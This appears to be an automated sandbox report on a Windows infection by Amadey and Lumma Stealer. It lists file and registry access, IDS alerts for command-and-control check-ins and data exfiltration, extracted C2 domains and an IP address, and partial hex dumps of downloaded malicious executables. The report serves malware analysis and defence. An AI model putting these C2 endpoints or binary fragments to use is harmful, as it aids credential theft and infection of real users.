Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs

Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Publishers	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Comms	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Google	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\SolidDocuments	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Packages	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Mozilla	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.4:49753 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.4:49764
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49786 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49802 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49820 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49860 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49888 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49910 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49789 -> 104.21.67.146:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49805 -> 104.21.67.146:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49789 -> 104.21.67.146:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49841 -> 104.21.67.146:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49787 -> 104.21.67.146:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49787 -> 104.21.67.146:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.4:49828 -> 104.21.67.146:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49925 -> 172.67.180.113:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49925 -> 172.67.180.113:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: discokeyus.lat
Source: Malware configuration extractor	URLs: crosshuaht.lat
Source: Malware configuration extractor	URLs: sustainskelet.lat
Source: Malware configuration extractor	URLs: necklacebudi.lat
Source: Malware configuration extractor	URLs: energyaffai.lat
Source: Malware configuration extractor	URLs: rapeflowwj.lat
Source: Malware configuration extractor	URLs: grannyejh.lat
Source: Malware configuration extractor	URLs: aspecteirs.lat
Source: Malware configuration extractor	URLs: treehoneyi.click
Source: Malware configuration extractor	IPs: 185.215.113.43

Uses ping.exe to check the status of other devices and networks

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.0.0.1

Uses the Telegram API (likely for C&C communication)

Source: unknown

DNS query: name: api.telegram.org

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 21 Dec 2024 17:16:11 GMTContent-Type: application/octet-streamContent-Length: 1861632Last-Modified: Thu, 19 Dec 2024 20:35:58 GMTConnection: keep-aliveETag: "676483ae-1c6800"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 d1 3c 5f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 ec 03 00 00 ae 00 00 00 00 00 00 00 50 49 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 49 00 00 04 00 00 49 41 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 30 05 00 68 00 00 00 00 20 05 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 31 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 10 05 00 00 10 00 00 00 48 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 f0 01 00 00 00 20 05 00 00 02 00 00 00 58 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 30 05 00 00 02 00 00 00 5a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 10 2a 00 00 40 05 00 00 02 00 00 00 5c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 77 65 6b 63 61 7a 62 6f 00 f0 19 00 00 50 2f 00 00 e2 19 00 00 5e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 74 74 6c 6c 6f 7a 63 76 00 10 00 00 00 40 49 00 00 06 00 00 00 40 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 50 49 00 00 22 00 00 00 46 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 21 Dec 2024 17:16:20 GMTContent-Type: application/octet-streamContent-Length: 439296Last-Modified: Sat, 21 Dec 2024 08:14:10 GMTConnection: keep-aliveETag: "676678d2-6b400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 dd b6 42 53 99 d7 2c 00 99 d7 2c 00 99 d7 2c 00 8d bc 2f 01 94 d7 2c 00 8d bc 29 01 23 d7 2c 00 cb a2 28 01 8b d7 2c 00 cb a2 2f 01 8f d7 2c 00 cb a2 29 01 c0 d7 2c 00 a8 8b d1 00 9b d7 2c 00 8d bc 28 01 8e d7 2c 00 8d bc 2d 01 8a d7 2c 00 99 d7 2d 00 6a d7 2c 00 55 a2 25 01 98 d7 2c 00 55 a2 d3 00 98 d7 2c 00 55 a2 2e 01 98 d7 2c 00 52 69 63 68 99 d7 2c 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 01 33 64 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 1d 00 f2 04 00 00 00 02 00 00 00 00 00 27 a0 02 00 00 10 00 00 00 10 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 30 07 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 80 45 06 00 c8 00 00 00 00 d0 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 06 00 c0 45 00 00 e0 e1 05 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e3 05 00 18 00 00 00 18 e2 05 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 05 00 3c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 6a f1 04 00 00 10 00 00 00 f2 04 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 90 48 01 00 00 10 05 00 00 4a 01 00 00 f6 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 dc 6d 00 00 00 60 06 00 00 2c 00 00 00 40 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 d0 06 00 00 02 00 00 00 6c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c0 45 00 00 00 e0 06 00 00 46 00 00 00 6e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 21 Dec 2024 17:16:26 GMTContent-Type: application/octet-streamContent-Length: 605696Last-Modified: Thu, 12 Dec 2024 15:01:10 GMTConnection: keep-aliveETag: "675afab6-93e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 4d 93 ba 99 09 f2 d4 ca 09 f2 d4 ca 09 f2 d4 ca 42 8a d7 cb 0c f2 d4 ca 42 8a d1 cb b6 f2 d4 ca 19 76 d7 cb 03 f2 d4 ca 19 76 d0 cb 18 f2 d4 ca 42 8a d2 cb 08 f2 d4 ca 19 76 d1 cb 63 f2 d4 ca 52 9a d5 cb 0b f2 d4 ca 42 8a d0 cb 12 f2 d4 ca 42 8a d5 cb 18 f2 d4 ca 09 f2 d5 ca cf f2 d4 ca 42 77 dd cb 0c f2 d4 ca 42 77 2b ca 08 f2 d4 ca 09 f2 43 ca 08 f2 d4 ca 42 77 d6 cb 08 f2 d4 ca 52 69 63 68 09 f2 d4 ca 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 06 00 31 b5 31 67 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 29 00 ee 06 00 00 6c 02 00 00 00 00 00 0c 32 04 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 09 00 00 04 00 00 00 00 00 00 02 00 60 81 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 be 08 00 b4 00 00 00 00 60 09 00 48 04 00 00 00 10 09 00 74 4c 00 00 00 00 00 00 00 00 00 00 00 70 09 00 90 0b 00 00 80 04 08 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 06 08 00 28 00 00 00 40 03 08 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 07 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 3e ec 06 00 00 10 00 00 00 ee 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 64 ce 01 00 00 00 07 00 00 d0 01 00 00 f2 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 ec 3b 00 00 00 d0 08 00 00 1c 00 00 00 c2 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 74 4c 00 00 00 10 09 00 00 4e 00 00 00 de 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 48 04 00 00 00 60 09 00 00 06 00 00 00 2c 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 90 0b 00 00 00 70 09 00 00 0c 00 00 00 32 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 21 Dec 2024 17:16:32 GMTContent-Type: application/octet-streamContent-Length: 4438776Last-Modified: Tue, 10 Dec 2024 00:01:52 GMTConnection: keep-aliveETag: "675784f0-43baf8"Accept-Ranges: bytesData Raw: 4d 5a 60 00 01 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 52 65 71 75 69 72 65 20 57 69 6e 64 6f 77 73 0d 0a 24 50 45 00 00 4c 01 04 00 ce 3f c3 4f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 08 00 00 90 01 00 00 96 00 00 00 00 00 00 5f 94 01 00 00 10 00 00 00 a0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 02 00 00 02 00 00 e7 a4 44 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 84 c9 01 00 c8 00 00 00 00 30 02 00 10 4f 00 00 00 00 00 00 00 00 00 00 10 7b 43 00 e8 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 01 00 6c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 0e 8e 01 00 00 10 00 00 00 90 01 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 da 3b 00 00 00 a0 01 00 00 3c 00 00 00 92 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 ec 4d 00 00 00 e0 01 00 00 0a 00 00 00 ce 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 10 4f 00 00 00 30 02 00 00 50 00 00 00 d8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 55 8b ec a1 60 e9 41 00 81 ec 04 09 00 00 53 33 db 3b c3 56 57 74 1f 66 39 1d 62 e9 41 00 74 07 ff d0 a3 60 e9 41 00 50 e8 50 14 00 00 50 e8 ef 84 00 00 59 eb 6e 6a 27 e8 40 14 00 00 8b 75 08 ff 76 0c 8b 3d c0 a2 41 00 ff 36 50 8d 85 fc f6 ff ff 50 ff d7 83 c4 14 39 5e 10 89 5d fc 76 38 8d 5e 14 ff 33 8d 85 fc fe ff ff 68 90 a4 41 00 50 ff d7 83 c4 0c 8d 85 fc fe ff ff 50 8d 85 fc f6 ff ff 50 ff 15 78 a1 41 00 ff 45 fc 8b 45 fc 83 c3 04 3b 46 10 72 cb 8d 85 fc f6 ff ff 50 e8 7e 84 00 00 59 e8 d4 36 00 00 6a 0a ff 15 74 a1 41 00 cc ff 74 24 04 e8 44 ff ff ff cc 56 8b f1 e8 25 73 00 00 c7 06 a0 a4 41 00 c7 46 38 d2 07 00 00 8b c6 5e c3 6a 01 ff 71 04 ff 15 bc a2 41 00 c3 33 c0 39 05 60 ea 41 00 74 07 b8 04 40 00 80 eb 1e 39 44 24 08 74 16 ff 74 24 08 50 68 02 80 00 00 ff 35 58 ea 41 00 ff 15 b8 a2 41 00 33 c0 c2 08 00 8b 44 24 04 83 60 1c 00 83 7c 24 08 00 75 07 c7 40 1c 01 00 00 00 33 c0 c2 08 00 a0 70 e9 41 00 f6 d8 1b c0 83 e0 0b 83 c0 08 c3 ff 74 24 10 8b 44 24 08 ff 74 24 10 c7 05 60 e9 41 00 2f 11 40 00 ff 74 24 10 8b 08 50 ff 51 0c 83 25 60 e9 41 00 00 c3 33 c0 c2 0c 00 8b 54 24 08 8b 4c 24 04 0f b7 02 66 89 01 41 41 42 42 66 85 c0 75 f1 c3 8b 4c 24 04 33 c0 66 39
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 21 Dec 2024 17:16:45 GMTContent-Type: application/octet-streamContent-Length: 4487680Last-Modified: Sat, 21 Dec 2024 16:10:16 GMTConnection: keep-aliveETag: "6766e868-447a00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 09 98 63 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 56 48 00 00 fc 76 00 00 32 00 00 00 a0 c9 00 00 10 00 00 00 70 48 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 d0 c9 00 00 04 00 00 96 3b 45 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 70 74 00 73 00 00 00 00 60 74 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 7e c9 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 7e c9 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 50 74 00 00 10 00 00 00 4c 28 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 ac 01 00 00 00 60 74 00 00 02 00 00 00 5c 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 70 74 00 00 02 00 00 00 5e 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 10 39 00 00 80 74 00 00 02 00 00 00 60 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6a 78 77 76 6a 6b 62 6c 00 00 1c 00 00 90 ad 00 00 f2 1b 00 00 62 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 73 72 63 63 61 78 78 6b 00 10 00 00 00 90 c9 00 00 04 00 00 00 54 44 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 a0 c9 00 00 22 00 00 00 58 44 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 21 Dec 2024 17:16:57 GMTContent-Type: application/octet-streamContent-Length: 1374720Last-Modified: Thu, 19 Dec 2024 17:14:58 GMTConnection: keep-aliveETag: "67645492-14fa00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 0a 00 e0 68 17 44 00 8c 14 00 e1 14 00 00 e0 00 26 03 0b 01 02 26 00 c8 0b 00 00 f6 14 00 00 04 00 00 80 14 00 00 00 10 00 00 00 e0 0b 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 70 15 00 00 04 00 00 5c 55 1a 00 02 00 40 01 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 50 14 00 08 1c 00 00 00 90 14 00 2c 6c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 15 00 bc 63 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 8e 12 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 54 14 00 b0 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 b8 c7 0b 00 00 10 00 00 00 c8 0b 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 60 2e 64 61 74 61 00 00 00 48 01 00 00 00 e0 0b 00 00 02 00 00 00 cc 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 64 61 74 61 00 00 98 a1 06 00 00 f0 0b 00 00 a2 06 00 00 ce 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 65 68 5f 66 72 61 6d ec 94 01 00 00 a0 12 00 00 96 01 00 00 70 12 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 62 73 73 00 00 00 00 34 02 00 00 00 40 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 69 64 61 74 61 00 00 08 1c 00 00 00 50 14 00 00 1e 00 00 00 06 14 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 43 52 54 00 00 00 00 38 00 00 00 00 70 14 00 00 02 00 00 00 24 14 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 6c 73 00 00 00 00 08 00 00 00 00 80 14 00 00 02 00 00 00 26 14 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 2c 6c 00 00 00 90 14 00 00 6e 00 00 00 28 14 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 bc 63 00 00 00 00 15 00 00 64 00 00 00 96 14 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 